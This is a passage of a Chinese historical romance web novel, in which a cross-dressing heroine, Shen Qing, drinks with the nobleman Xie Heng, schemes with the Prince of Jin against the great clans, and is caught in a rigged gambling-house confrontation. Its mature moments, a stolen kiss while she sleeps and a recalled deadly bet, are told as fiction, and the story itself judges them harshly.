他的声音很清淡,甚是有些虚弱。 沈青蹲了下来,歪头仔仔细细打量着跪在身前的人,谢珩半垂着眸子也任她打量,昏寂的青灯晦暗不明,掩映住他藏在眼底的一丝清浅笑意。 人看上去瘦了,本来就清瘦,现在简直就是单薄;脸色也不对,原先是颜色如玉,容光照人,现在呢,很苍白,还有些黯淡,俊还是俊的,可不该是这么个楚楚可怜的俊法。 真是看得让人都有些生气了。 她上手扯了他衣襟就往下扒,谢珩登时惊惶,紧握住她手腕阻止了她:“你要做什么?” “我看看你伤口啊。” “不必了。” 谢珩不动声色将她攀上来的那双手拂开,默然整理好自己衣襟。 沈青默不作声看着他手上动作,因为刚刚她这样突如其来的一下,饶是淡然如谢珩,也平复了好一会,才敛去目光中的慌乱。 始终微抿的唇 ,仿佛多不情愿被扒衣服似的。 她放下心来,看来他没看出她是女儿身,还是在把她当男人,不然不会这样排斥。 于是她回归正题:“我以前还真没看出来,别人打你,你居然是个乖乖挨打的主。” 谢珩一双清眸抬起,俊俏灵秀的青衣公子落入他暗潮涌动的眸光里。 “因为……”他喉头微动:“有罪在身,理应受罚。” 他的声音清浅平静,沈青却听得心口突突猛跳了两下,刚才他开口瞬间未曾压抑住的颤音是她的幻听吗? 不过也是,受了罚,谁能不委屈呢?只不过谢珩这人向来能做到面上波澜不惊罢了。 她干脆盘起腿,在他面前坐下来。 “你犯了什么罪?因为秉公执法查清了岳瑛家的案子,还是因为查办了户部的那些贪官污吏啊?” 青灯照映下,谢珩那双清眸眸色更深,静静望着咫尺间的少年。 沈青被他盯得心底一空,想到他在雷厉风行清理户部的时候,她和晋王迅速反应过来,钻了个空,趁机也扶持了不少算是自己人进了户部,难道被他发觉了? 天地良心,她和晋王这次趁机扶持的人,可都是些品性坚贞高洁,为官清廉体恤百姓,只是多年来苦于士族门第打压而始终不被启用的人。 虽然是有点趁机占便宜了……但也不算做什么丧尽天良的事吧? 这么一想,她重新理直气壮起来,但始终不敢去对上他的目光,撇过头大咧咧道:“如果为冤者平冤,为百姓除害,在你们谢家算是罪过的话,那难道不是谢家的问题吗?既然是谢家的问题,那为什么是他们罚你,不应该是你去罚他们?” 谢珩抿了抿唇,目光灼灼:“受罚是我心甘情愿的。” 沈青顿时无语,果然还是古板又执拗。 她下意识看了一眼满堂森森牌位,光看一眼就让人直觉喘不过气来:“你可不要跟我说什么祖宗家规啊,我想你们谢家发迹的时候,这些列祖列宗绝对没有说要你徇私枉法才是对的。” 没人回应她,祠堂里又陷入一片静肃,微弱青灯灯芯跳跃,牌位上那些金漆字迹模糊不清。 到底还是不忍看他心中负担太重,她又补充了一句:“你这次的所作所为,应该跟这些列祖列宗安身立户的初衷是一样的。” “那你想不想让我继续跪下去?”身后沉默许久的人突然出声。 “啊?”她回过头去,看他盯着自己,好像真的在认真寻求她的建议。 她坦然道:“废话,当然不想让你再跪下去了,不然我跑这一趟做什么?” 谢珩唇畔微微勾起一点儿弧度:“虽然不合礼法,但你方才说得有道理。” 话音刚落,他腰背笔挺从蒲团前站起来,抬手慢条斯理抚了抚衣袍上的褶印,还是一派长身玉立的翩翩风度。 沈青见他如此痛快,不由得咋然:“……你现在这么好说话了吗?” 谢珩莞尔:“走吧。” “好,此地不宜久留。” 既然大功告成,那就赶紧走,她嘴上说着此地不宜久留,一双黑靴倒是大摇大摆,直接领着谢珩踏着月色,从谢氏祖祠的正门大咧咧走了出去。 谢珩目之所及,果然可见就地倒下的亲兵暗卫们,无一幸免。 不由得失笑。 察觉到他一点微妙情绪,沈青忙无辜摆手:“我可没伤他们性命啊,等时候到了,他们自己会醒来的。” 谢珩摇摇头:“没事的。” 这一次,借着皎皎月色,沈青终于捕捉到那双星河流转的眸子里,有点点笑意,直达眼底。 想象中,她以为谢珩这次会很惨很狼狈,火急火燎来看一眼,确实是难得见他这般憔悴不堪模样。 可她怎么感觉,他还怪高兴的? 莫非他是有什么受虐倾向吗? 她顿时悚然领悟,当初他在小金顶上总不太开心,是因为她对他太好了!? 两人身影一前一后没入市井之中,时辰渐晚,街头行人寥寥,灯火也稀疏。 见她落在后面,谢珩顿住脚步,也没有出声催促,只是回头静静望着她。 月色皎然,公子如玉,春夜的微风带着花草幽香徐徐扑面,沈青一颗心被这夜风吹得左摇右晃砰砰乱跳。 “去……去哪?” 她赶紧出声打破这奇怪氛围,明明只是想过来看他一眼的,她也没想到这人竟然真敢不顾礼法,就这样走出来了。 谢珩耐心等她跟了上来,才垂眸问她:“记得我们上次一起喝酒的小院吗?” “去喝酒吗?” “今夜月色很好。” “这……” 沈青挠了挠头,不懂这些文人雅士突如其来的雅兴,刚被罚跪完,不应该赶紧回家睡大觉养精蓄锐吗? “我受罚多少与岳瑛家案子有关,喝一场酒沈公子都不赏脸吗?” 暖融的清风里,她感觉到迎面而来的一点冷意。 “这自是应该的,既然你有兴致,那咱们就不醉不归!” 话说到这个份上,沈青自然痛快答应,明明痛快答应了,也不知为何,眼前绝色公子眉眼神色更冷,凝霜带雪。 什么意思?她不答应也不高兴,答应也不高兴? 真是莫名其妙,喜怒无常。 谢府祠堂离小院不远,两人静默走了一路,进了月洞门,雅致精巧的小院玲珑呈现在眼前。 没想到夜里的小院,又别有一番风韵。 虽然已经来过一次,此时沈青还是满眼新奇,仰着头看到低低檐角下挂着的灯笼竟然是用一颗颗圆润小巧的南瓜雕出来的笑脸,也不知里面点了什么香烛,暗香习习,引得萤火虫零零点点,只绕着那南瓜小灯飞舞。 绕过回廊,她记得小石潭里有红锦鲤,这次她留心去看,夜晚的小石潭,清清澈澈布满繁星,繁星随着水波流转倾泻,再仔细一看,那些细碎繁密的星星,原来是会发光的小鱼! “珩公子。” 掌柜恭敬地迎了上来,目光在落到谢珩身后的沈青身上时,像是突然见鬼了一般:“你……你……” “瑜字房。” 谢珩淡然打断他。 掌柜赶紧垂下眸子,低着头专心引路,很快又到了那间瑜字房,木门从两边打开,沈青轻车熟路扶着婢女,由她们替自己换下木屐。 忽然她目光一凝,落到谢珩清隽背影上:“你……是不是伤口裂开了?” 雪白衣裳上,道道血痕印得触目惊心。 谢珩回眸瞥了一眼,神色清淡:“无妨,我先去更衣。” 沈青换了木屐,先进了雅室,盘腿在紫檀圆几前先坐了下来。 等琉璃盘中各色佳肴还有羊脂白玉杯里美酒满上,谢珩更衣处理了伤口回来了,默默无言盘腿在圆几的对面坐下。 大概是记得她喜欢“细腰舞”,杯中碧波荡漾的,还是当日佳酿。 本来沈青是恼他突然一下喜怒无常,一路上没多跟他说话,可是刚刚眼见他才走几步路就浸了一背的血,顿时就软下心来,拿出一副舍命陪君子的态度来。 “来,这杯敬你,多谢你秉公执法,替岳瑛家平冤昭雪。” 她将两人酒杯满上,清清脆脆碰了个杯,很是豪爽地将杯中佳酿一饮而尽后,观察着眼前人的神色,虽然也配合着一饮而尽,但眉目间始终清冷,一看就是还不太高兴。 刚刚到底哪里惹他了? 她心中犯嘀咕,不过还是尽职尽责将两人酒杯继续满上:“从前为了这案子多有得罪,都是误会,我跟你在这里赔个不是。” 她赔笑着,两人碰杯好饮,还是不见谢珩脸色转暖。 只见他放下酒杯,像是半开玩笑,眼里一点笑意都没有:“沈公子为了夫人,倒是能伸能屈。” 沈青笑容一僵,莫名其妙,就算是为了朋友,这不也是应该的吗? 她懒得再揣测他心中千回百转,只尽心尽意陪他尽兴喝酒,两人都没再多说,推杯换盏间,沈青的酒意开始上头。 每次开始微醉的时候,她清澈的眸子里,总是带上一层朦胧水色。 “我其实有一个问题……”她说起话来也开始含糊,但还记得自己有疑惑要解:“你为什么要帮我啊?” 帮她破案,帮她瞒天过海。 谢珩缓缓将杯中佳酿饮尽,目光澄澄与她对视:“这是我该做的。” 沈青眼前已经是一片雾里看花,下意识还是被他的目光灼到,摇了摇头,赶紧撇开。 确 实,这都是他该做的。 他果然还是她认识的那个,惩恶扬善,坚守本心的谢珩。 “谢珩,我一直都很想跟你说,就算你没有帮我,其实我也是想跟你说的,去首岁山的时候我就想跟你说了。” 沈青说话的声音越来越轻,但有些话必须要借了酒意,她才能说出口。 她努力瞪大眼睛,看着眼前的清雅绝色的公子变成两个,三个……她心中一急,忙伸手去摸,手心忽然被一只温热的手攥住。 “说什么?” 他喑哑的声音带着紧张的期待,像是蛊惑,在耳畔缓缓荡开。 感受到他的温度,她安下心来,趁着这直冲脑门的酒意,赶紧把话说出来:“上次在南风楼,我拿你跟苏子珩比……是我不对,是我没品,我本意没有这样的。如果那件事刺痛到你,我真心向你感到抱歉,毕竟你这么有傲骨的一个人……” 她的话断断续续还没说完,就感觉那只攥住自己的手越握越紧,痛得她难以忍受:“你干嘛啊……弄得我很疼。” 酒后失力,她挣脱了两下没有挣开,但是攥紧她的力道渐渐松开了,她也就放松下来,再坚持不住:“话我说完了,你记住了啊……” 反正她会断片的,谢珩可一定要记住啊,道歉的话她是鼓起很大勇气借了很大酒意才说出来的,可不会有下次了! 始终没有得到回应,但是她也管不了那么多了,她靠在软枕上,身子舒舒服服滑了下去,阖目安睡起来。 自然也察觉不到,谢珩那只温热的手一直还攥着她,由温热逐渐炽热灼人。 雅室的空气里渐渐凝滞,直到谢珩自觉快要呼吸不过来,他才从令人窒息的溺毙中回过神来,凝眸盯着正在自己眼前阖目安睡的人,一颗心几乎要从胸腔里跳出来。 他深深吸了几口气,才重新觉得,自己还活着。 几句醉后呢喃,他无声感受着自己心中所谓“克己复礼”那道薄弱的防线,是如何被彻底击垮。 面前的紫檀圆几实在碍眼,他干脆绕开圆几,跪坐到沈青身边,他一只手还紧紧握着她的手,略一俯身,她好像就落在自己臂弯。 长睫密密覆下,即便是双目紧闭,也能看得出那双眉眼是如何清绝动人。 白皙细腻的雪肤,因着酒色,染上微微红霞。 他从前从未这样细细去打量过她的五官眉眼,照灯细看之下,只觉美到神形俱颤。 眼前与梦中,两张容颜,渐渐合一。 他沿着她眉眼往下一点一点打量,就像在一点一点审视自己卑劣的内心。 就是这样迫不及待,借着她的软肋,得以完全地与她相对。 再往下,她的下巴和两腮,密密匝匝有一层青茬,是修剃干净后的胡须,抬手轻触,触感颗粒分明。 纤秀脖颈下,微微凸起的一块,是男人的喉结,因着她男生女相,这喉结在雪颈之上,总有些突兀。 随着她呼吸均匀起伏,胸口也上下微微伏动,平整坦荡,一览无余。 他眸色深沉得可怕,微微黯淡下来,没有再多看下去,又缓缓将视线挪到那副清绝的五官眉眼上。 方才确实喝了不少,可是他没有醉意,他此时无比清醒,眼睁睁纵容着自己,低下头,轻轻吻上醉卧榻间之人的额心。 一点蜻蜓点水后,他起身看她,她还睡得安稳,无知无觉。 于是他双手捧了她的醉后浅红慵懒的睡颜,微凉的唇流连辗转于她的眉眼,脸颊,鼻尖……最后落到那点红唇时,他清醒地意识到,这不是梦中。 他只敢轻轻碰了碰她的唇角。 贪恋于手心臂弯的温度,让他几乎有想要落泪的冲动,什么清风朗月谦谦君子,过去二十年都是虚妄。 原来他才是这天下,最阴暗卑劣之人。 “沈青,你以后想做什么,我都任你驱使,可好?” 他半跪在她身边,声音里带上几分卑微的祈求,像是在求一个回应。 榻上醉卧之人睡得正鼾,大概是隐隐觉得方才眉心微痒,微红着一张脸,不耐烦地在他臂弯里蹭了蹭。 第68章 第68章醉后别梦,只属于他 晨间的絮絮春光透过菱花窗雕,疏疏落落洒满了正酣睡榻间的一身青衣,沈青濛濛撑眼,才看清这雅间的屋顶,是一副瑰丽的流沙画屏,将屏风撑作屋顶,真是巧夺天工。 好一会儿,她才反应过来自己身在何处,伸着懒腰坐了起来。 这洛京繁华富贵的一大好处便是,酒水好,宿醉再也没有头疼过。 她双手撑着下巴支在面前的紫檀圆几上,心满意足打量着坐在自己对面,正支颐浅寐的绝色公子。 他眉目清隽绝俗,醒着的时候总波澜不惊,浅寐时更像入定成仙,不沾染半分人间烟火。 只是还有伤在身,微抿的唇上血色淡淡,几分憔悴。 每次看他睡得乖觉清淡,她就很想上手在他脸颊上摸一把或者掐一下,狠狠给他沾染一些红尘俗气。 她脑海中已经开始跃跃欲试,眼前那张清疏睡颜缓缓撑开双眼,她一下就在那双清泉幽幽的眸子里看到自己影子。 “今日天气不错。” 沈青顿时扭过头,一把推开身前的菱花窗,清风带着花香晨露扑面而来,微微掠起她额前碎发,更显容颜清绝楚楚。 窗外竟然有悠悠几声清悦的鸣叫,她定睛看去,一对黑白分明的翩翩仙鹤在引颈长鸣,清啼高亢渺远,直入云霄。 她不由得冲着那对仙鹤“嘬嘬”两声,没想到那两只仙鹤竟真的侧头看了过来,她忙在圆几的琉璃盘中捻了些没吃完的点心放在手心伸出窗外,那对仙鹤毫不犹豫,迈着纤长细腿往窗边来了。 直到它们细细长喙在她手心里啄来啄去,沈青痒得乐不可支:“我以为仙鹤是不食人间烟火的,没想到也吃嗟来之食?” 谢珩莞尔:“它们被豢养在人间庭院里,与其他被豢养的鸟兽也没有区别。” 沈青看看窗前修长翩然的仙鹤,又看看身边白衣胜雪的绝色公子,忽然笑起来:“你有没有觉得,眼下情景,跟小金顶还有点像呢。” 豢养一只翩翩仙鹤在身边。 谢珩盯着那对仙鹤一下一下轻啄她的手心,认真道:“不像。” 在小金顶,总是她来对他纠缠不休,逼他被迫亲近,一点也不像现在,他只是看她一眼,她就忙避开目光。 沈青撇过头去,看到他唇畔那抹温润笑意消失,拍了拍手心的点心,让那两只仙鹤自己去啄食。 她眸光清澈,一双目珠像是清泉墨玉,滴溜溜转了转,才试探着问:“我昨晚,有没有说什么……该说的话?” 昨天喝酒的时候,她特地记着,要趁酒意上头时的勇气,一定要真心给谢珩道个歉,现下醒来,她最后能记得的画面是她问谢珩为何要帮她,他好像答了是他应该做的,后面的事情,便在她脑海里消失得干干净净了。 事关重大,她必须确认下来。 谢珩疑惑,慢悠悠问:“什么是……该说的话?” “就是……”沈青眼前一黑,难道自己没有撑住,什么都没说吗? 她微垂下眼眸,下意识避开对面专注的目光:“就是说了什么让你觉得高兴的 话吗?” 谢珩反问:“你确定是让我……高兴?” 他很难说自己是否高兴,只记得那几句呢喃醉语,是怎样让自己这毕生以来所有仁义礼智,寸寸崩塌。 只要一想起她昨晚撑着醉颜,强撑意志含糊软绵说着道歉的画面,当初他一颗心被剜得多痛,现在就多想将人碾进怀中。 好像这样,才算报复回来。 沈青看着他一张俊颜好像慢慢阴郁下来,心中一空,完了,难道高估自己的酒品了? 算了,做人嘛,就是要敢作敢当,既然是该要说的话,怎么也不能逃避,知错就改,又不是什么丢人的事。 她深吸一口气:“谢珩,我不知道昨晚有没有跟你说,那天在……” “沈青。” 话还没说出口,就被另一道声音坚决打断。 她愣愣望着眼前人,很熟悉很强烈的压迫感扑面而来,她感受到对方充满锐意的侵略性,没有杀意,也不算危险,自从陈郡侯府那次碰面,她总能时不时在谢珩身上感受到这种压迫。 这是她以前从未在别人那里感受过的,除了本能地绷紧身体,竟不知要如何招架。 “你昨晚说过了。” 他的声音还是一如既往清润温和,沈青稍稍放松下来,想象到自己昨晚正儿八经跟人道歉的样子,莫名脸热,她只好干笑两声缓解自己的尴尬:“说过就好,说过……那我就先回去了。” “回去?” 谢珩下意识觉得有些突然。 “是啊,我昨晚出来都没跟岳瑛打声招呼的,我这一晚没回,现在可得赶紧回去了。” 其实她昨晚还是打了招呼的,好像是说自己去接东西?然后就这样接了一晚上,指不定回去岳瑛要怎么笑她。 这么想着,她从榻上爬起来,却没等到谢珩的回应,就见他笔挺地坐在那里,方才微微阴郁着的脸,现在好像凝上一层寒霜。 那种令人压迫的锐意从他身上敛去,他一身清影消瘦,坐在那里莫名让人觉得有点可怜。 “谢珩?” 沈青只能绞尽脑汁地联想,难道是新的一天到来,又要迎接新一天的罚跪? “反正你昨晚都已经从祠堂出来了,既然出来,就不要回去了。”如果谢珩真想明白了,谢家那套迂腐古板的规则,也不能拿他怎么样。 许久,谢珩才缓缓道:“好,你回家去吧。” 她有自己的家,是城南青石巷中的沈府。 “好,那你也保重。” 说不上为什么,明明醒来时一切如常,现在氛围又变得这样奇奇怪怪。 最近的谢珩,真的是太反常了! 不再罚跪也劝了,酒也喝了,歉也道了。 没有什么理由再久留,两人告别后,沈青就先行离开。 木门在缓缓合上的瞬间,谢珩突然叫住她:“沈青。” “嗯?” “以后同在洛京,趁兴而起时,可否偶尔相约来院中小酌?” 隔着一扇半阖的门,他目光殷殷。 沈青本来蓦地紧张了一下,听到他说只是要约着一起喝酒,这实在太简单了,怎么说他这次也是帮了大忙,自是应该。 她笑意粲然:“可以,那就随时恭候。” 等木门彻底合上,谢珩的目光还没收回,仿佛透过那厚沉的门板,他能看到那道青影绕过回廊,迈着轻快的步伐离开小院。 不错,她是有一间沈府。 但是没关系,在这间小院,瑜字房,只要一壶酒。 醉后别梦,只属于他。 * 夜幕降临的时候,沈青从手下那里听说谢珩今日没再去祠堂罚跪,他不配合,其实谢家长辈也不能真奈他何。 她彻底放下心来,就着夜色,独自去了一趟城郊的义庄。 还是那间昏暗的地室,一张无字牌匾在油灯照映下,昏寂又孤独。 沈青和晋王在那张牌匾前相对而坐,油灯晦暗,映在墙壁上的两道人影也模糊不清。 陈郡侯府覆灭,户部的重新洗牌,让他们提拔了不少贤能清正人士进去,世家高门的铜墙铁壁,算是被撕开一道裂口。 虽然谢道清在极力采取措施想要将户部重新掌控在世家手中,已然失势,再夺回,也并非朝夕之间。 既然户部已经被清理,剩下三省六部,一个也别想逃过。 就着微灯,晋王看向沈青,清绝桀骜的眉眼神色,在暗室中也摄人心魄。 他笑道:“一直忘了问,本王该称你沈公子,还是沈姑娘?” 沈青愣了一下,不知晋王怎么突然这样发问,她只好答:“殿下不是直接喊我沈青吗?” 晋王唇畔笑意不明,就像平日那副闲云野鹤的倜傥做派:“行吧,沈青。” 他喃喃念了一句:“现下你对谢珩有何看法?” “啊?” 沈青不明所以,不知怎么会突然提到谢珩。 晋王提醒她:“如果这次不是谢珩,我们根本不会有这样顺利的进展。你与他接触甚密,可看得出他的动机?” 就着幽幽烛火,沈青眉心跟着跳了两下。 哪里接触甚密了? 可是昨晚两人还推杯换盏的场景还历历在目,她想到谢珩说,这次帮忙,是他该做的。 “我觉得他这人……还算坚守君子道义,未失本心的,所以能秉公执法,提拔能人贤士。只是……”她眉头微蹙:“他到底是谢家的人,身上流着谢家的血脉,最后总是要与谢家共沉浮的。” 连她自己都没察觉,短短两句话,她带了几声叹息。 晋王不以为然:“谢家未必就是一块铁板,你看他在户部的人事调动,是不是世家之中的内斗?你看他这些天日日跪在祠堂,何尝不是一种收买人心?” 沈青被他这几句提点,幡然大悟,果然老姜眼光毒辣啊。 谢珩在户部中的清理,把昏庸无能的世家子弟换下去,将清正贤明的世家子弟换上来,这不也是世家中自己的内斗吗? 还有怪不得给人打个半死,他还老老实实罚跪,她只觉得狼狈可怜,从没想过原来也是在收买人心啊! 晋王继续道:“目前来看,他做的这些事,和我们可以有一段同行之路,再以后的事,以后再说。” 沈青心头微动:“殿下,您的意思是?” “既然此人秉性正直,又可以与我们同行一程,你就没想过,将他变成你手中的一把利刃吗?必定会所向披靡,事半功倍。” 世家门阀既然坚如铁桶,等着他们从外部慢慢瓦解蚕食,大功告成不知要到猴年马月。 可是如果有一把利刃,能够从内部将世家分崩离析,那一定会势不可挡! 晋王的提议确实让人豁然开朗,但他不知道,谢珩这段日子有多怪异!况且虽说谢珩本心正直纯良,可他行事执拗,自有傲骨,怎么可能甘为人刀柄? 想到这,她还是退缩了:“算了,他可不是能被人驱使的人。” 这利刃拿在手中或许所向披靡,如果反噬起来,那也是要命的。 也许他们会有一段相同的路,可是寒门世家终要分道扬镳。 “行了,小姑娘怎么一提到俊公子,总叹气是怎么回事?”晋王看不下去。 什么跟什么啊? 这晋王看起来靠谱,说起话来怎么也轻浮起来? 沈青撇撇嘴:“这事风险太大,我只是谨慎行事罢了。” 她想想不能让人占了口舌便宜:“我可不是小姑娘,您别老说,哪天说漏嘴那我可翻脸了。” 晋王不动声色看着灯下少女微微脸热模样,眉眼间笑意舒朗:“这确实是条捷径,我已经告诉你了。至于你要不要走……” “全看你,不看他。” 第69章 第69章谢珩,很好玩是吗? 从义庄回来后,沈青有时候变得很忙,经常整日不见人,直到夜深才听见她回府的声音。 有时候好像又很闲,比如现在,小院的苦柚树下,摆一张棋盘, 一身青影,与棋盘对坐整日。 棋盘上黑白分明的棋子凌乱散落,看不出是什么棋局,暮春里苦柚树上开出白色小花,偶然被风吹落,闲闲落在散乱的棋局上。 这一颗颗普通的黑白子看起来没什么特殊之处,不过在沈青眼中,把每一颗都想象成各个世家和朝中各处机要,一切就复杂而明朗起来。 她真的很讨要下棋这类总是走一步看三步的运筹帷幄,几日来,她盯着眼前这盘子反反复复地看,突然被她看明白了,何必这么麻烦? 当初剿匪的时候,谢珩不是很娴熟地擒贼先擒王吗? 那她就以其人之道还治其人之身,也擒贼先擒王不就可以了? 洛京中世家如云,盘根错节,是凝成了一道铜墙铁壁,可是这些大大小小的世家,再怎么紧密勾连,其背后根基都是四大世家。 四大世家,是整个洛京世家门阀的心脏,她只要找准这颗心脏,扎上致命一刀,何愁不能瓦解这铜墙铁壁? 所以关于晋王的那个提议,几番深思后,沈青依然确定,她不能去走谢珩这条捷径。 即便他们现在各自所做的事情,会有一段短暂的同路,可是她终究是要对谢家下手的,而谢珩,也始终是谢氏子弟。 那不如一开始就不要同路。 谢珩已经对户部下手了,接下来,三省六部应该都会被他逐一下手清理,本来她和晋王也是这样打算的,但是她现在决定,还是彻底避开谢珩的行动为好。 大家各自为政,各走各路。 世家高门与三省六部朝廷机要本来就是互相渗透,他从朝廷机要下手,那她就直接对四世家动手好了。 心中有了打算,她将手中几颗棋子随手搁下,痛快起身。 皇城之南,东西两市之间,除了南风楼,令人快活的去处还很多,明镜台就算一个。 王容曾经带她来过一次。 只不过沈青不好这一口,所以也就来过那一次,这次她自己一个人来,人多眼杂,她特地换了一身月白色的宽袖长袍,用玉簪挽了发髻,折扇轻摇,公子偏偏,美玉无暇。 进了明镜台,如果不想被人认出,进门的时候可以在侍者手中领一枚面具,掩盖了身份,才好玩得尽兴。 她没有挑那些花里花哨的兽脸面具,选了一张干干净净的白脸面具,在洛京混迹这么些日子,往来于明镜台的不少纨绔子弟,认识她的或许不少,还是带上面具比较自在。 往里,是各种各样琳琅繁复的赌局玩法,还有一个一个围在赌桌前红了眼失了神的赌徒们。 这样一个最令人丧失神智的魔幻之地,竟然取名为明镜台,所有疯魔,皆为虚妄吗? 牌九、骰宝、陆博之类是最基础的,明镜台里,只有想不到,没有他们办不到的玩法。 跟洛京中其他快活地一样或多或少都要背靠世家,而明镜台,直接就是四世家中桓家挂名经营的产业。 虽然她喜好玩乐,但如果不是晋王指引,她并不喜欢涉足此地。 一张赌桌背后,不知是多少人妻离子散,家破人亡。 赌桌下无数机巧秘密,各种精密复杂的规则,制造出富贵迷离的美梦,请君入瓮。 明镜台分甲乙丙丁四大坊,上次因为王容的缘故,她得以去了最高等级的甲字坊,在那里一掷千金,可以见识到各种民间想象不到的精彩玩法。 上一次她见识到的,就是一群如花似玉的妙龄少女,庄家下注,给每个少女选定一条花色的蛇,有毒无毒,就是庄家的赌注,活下来的少女则是庄家赢回去的礼品。 赌注够刺激,赢来的筹码又足够诱人。 谈笑间,有少女的尸身被抬了出去,也有少女被人拥入怀中。 沈青在莽山为匪多年,刀尖舔血,弱肉强食,见识过太多无辜性命被残害,有些是死于徐唐孟渊这类残忍的匪徒手中,有些是被丧尽天良的官兵玩弄谋害。 但依然被明镜台的赌局震撼到,富贵人家都是这样蹉跎人命的吗? 这可是京城里合法挂牌经营的场地!? 后来从王容口中得知,那些妙龄少女本来就是难逃一死的罪奴,是明镜台专门买下来的死囚。 作为手上沾染过无数鲜血的悍匪沈青,依然觉得这不可接受,从此也没再来过明镜台。 现在她又身处期间,再想到当日情形,还是忍不住血脉沸腾。 她长舒了一口气,走到一张赌桌前,吩咐侍者:“开一局吧。” 晋王说这明镜台是其次,重要的是明镜台有一个地下钱庄,那里可以说掌握了各大世家钱财命脉最重要的一个据点。 没有谁家的金银是完全干净的,不干净的银子,就要放到明镜台的地下钱庄来洗干净,这是世家中心照不宣的秘密。 明镜台几十年如一日经营,那个地下钱庄的累累白银,不知是多少白骨堆就。 去查桓家其他经营生意,查个底朝天,也比不过明镜台。 随意看了一圈没什么头绪,沈青已经坐在赌桌前了,反正没头绪,来都来了,不如玩两把。 她单独开了一桌坐庄,手边撂一叠银票,跟来来往往的人玩起来,一张张银票出去又进来,时间久了,整个人也不自觉杀红了眼,结果最后一张银票都送了出去。 运气不好,再来一把,万一翻盘了呢? “这局我来。” 脑海里正想着,一道极好听的清润声音传来,沈青抬眸一看,见一位身姿修长的青衣公子在赌桌前坐下。 他带了一张青面獠牙的兽头面具,可是整个人确实青衣飒落,身段颀长,即便完全看不见脸,也能感受到此人玉树风姿。 这样的翩翩身姿,她顿时有种很强烈的熟悉感,可是这人青衣窄袖,举手投足间的飒然利落,更有些江湖侠客的风范。 不可能是谢珩,她抛开脑海中出现的那一瞬荒谬念头,但不得不承认,这人也是她喜欢的类型,尤其他衣着品味,很合人心意。 “公子请吧。” 她扬起脸,可惜带着面具,这公子看不见她殷勤友好的笑意。 这一局开始,便一直没有再停下过,这公子一定是上天给她派来的财神爷,不过小半个时辰的功夫,她手边本来空空如也的位置,银票堆积如山。 到最后,她赢得都有点心虚了,古人云,天下掉下来的馅饼不要吃,她决定见好就收。 “不来了不来了。” 一局结束后,她摆摆手决定结束这局。 “这人怎么这样?赢了钱就想走?” “就是!懂不懂规矩啊!” 那青衣公子还没开口,旁边看红眼的人纷纷下场替他打抱不平。 “再来。” 青衣公子也开口,只有言简意赅的两个字。 沈青走不了了,她行走江湖,最不能坏规矩。 她咬咬牙,坏笑道:“是你自己非要再来的,输光了被我扒掉衣服可不许哭。” 青衣公子清颀的身形微微一顿。 “来。” 这么一来,他们杀到日暮西沉,月上中天。 从丁字坊一路杀到了甲字坊。 无他,这青衣公子钱太多了,乙丙丁的坊主不敢接了。 别说坊主,连沈青都有点不敢接了。 她略略看了一眼赢回来的银票,这样数额的钱财,落到谁手里只怕都是灾祸。 况且她就算再迟钝,也能看出今天这场子不对劲,这青衣公子就是冲着她来的,一路把她死缠到现在,让她脱不了身。 这缠人的劲儿,她这辈子也只碰到过一个人。 是故意拖住她,然后要对萧瑞或者岳瑛动手吗?但是已经过了这么久,她手下还没有一个来汇报有什么异常的。 那这人的目标就只在她身上? 可是他现在除了输掉一笔巨额银子给她,什么也没做。 她不动声色打量着对面的人,隔着面具,实在看不出情绪,只是觉得这青衣紧束实在衬人身姿,好看得很。 面具下,她一双黑白分明的眼睛熠熠生辉。 “既然公子这么爱缠人,最后一局了,你要是再输,我就不要你银票了,你以身相许怎么样?”沈青笑眯眯问他,并不准备陪他玩了。 青衣公子静默着不说话,隔着面具,她能感受到对方落在自己身上的目光,没有危险杀意,但是有很强的侵略性。 又是这种熟悉的感觉。 沈青盯着那张青面獠牙的脸,笑得漫不经心 :“怎么公子害怕了?我看公子腰身劲瘦,很让人眼馋。” 戏谑的话说得真是熟稔。 “那就来。”青衣公子声音微沉,听得出一点愠怒。 这公子还挺洁身自好?输这么多钱没有不高兴,嘴上轻薄他几句,就生气了? 沈青脑海中千回百转,一局已经新开,现在形势不明,她不准备再赢下去,第一次觉得手中银票居然有烫手的时候,可见硬塞到手中的东西,哪怕是银子,那也是灾祸。 她将骰子摊开,一锤定音:“这把你赢了,不必以身相许了。” 最后这把,她压了所有的注,青衣公子只赢了一局,就将今日他所有输出去的钱财都赢了回来。 甲字坊的客人们虽然都见多识广,但是这样惊天反转总是让人兴奋,大部分人都围在这张赌桌前,一面为沈青扼腕叹息,一面又为这青衣公子振奋激动。 喧闹中,沈青拱拱手,不再久留。 事出反常必有妖,直到最后青衣公子也没展露出他的目的是什么,她有点慌,要赶紧回去看看。 “等等。” 青衣公子终于出声喊住她。 她好回过头,好整以暇看着他,反正赢的银子都一把给他还回去了,她也坦荡,看他到底要做什么。 “她出老千!” 青衣公子向甲字坊的侍者揭发,原本喧闹的场面顿时鸦雀无声。 沈青气得拍桌:“你是不是有毛病!?” 她出老千让自己输还不行? 以及还有一句话她生生按捺住没有说出口。 谢珩,很好玩是吗? 第70章 第70章这房间里,可只有一只老…… 明镜台甲字坊后,一座高阁中,隔绝了外间从未停止过的喧闹。 沈青被摘了面具,双手用一根麻绳捆着,像挂葫芦一样吊在屋梁下,随着麻绳的晃动,她的身子在空中也时不时左摇右晃。 在前坐镇的是一个中年锦衣男子,眉目深刻,气宇轩扬,只是长年守在明镜台与各路神仙妖魔迎来送往,整个人面相看上去隐隐有些笑里藏刀。 听他手下都喊他“桓老板”。 谢珩也青面獠牙地站在一边,遇到这种事情,他依然不愿摘下面具表明身份,但是用腰间亮出一块令牌,是王家嫡系一脉最重要的一件信物。 “桓老板,连甲字坊都有人出千,明镜台最近的客人似乎不太干净。”清润的声音里,还有点愠怒未消。 沈青被吊在空中,伸长了脖子看清那信物,心中哼哼,她不干净,难道他就很干净吗? 明明是谢家的人,还拿王家的信物骗人,是王家的外甥,又是准女婿,很了不起吗? 确定了是自己人后,桓老板致歉道:“这是我们明镜台经营不善,必定给公子讨回公道。” 随后微笑着看向沈青:“沈公子原先是江湖中人,现在却又坏了江湖规矩,这可不能怪桓某无礼了。” 明镜台的黑心之处,其中之一便是对出老千的态度,他们自己手中不知有多少出千的手段和机密,但是碰上外人敢在他们地盘上出千,不死也要扒层皮。 反正已经被抓了,沈青就顺便问问:“那这事该怎么了?” 桓老板继续微笑:“沈公子果然痛快人,那我也痛快,按我们明镜台的规矩,出千那局,赌金按十倍赔偿,这事就了了。” 沈青盯着他一脸笑意斯文,不知为何,脑海里突然想到黄鼠狼给鸡拜年的模样,肯定也是这种笑脸。 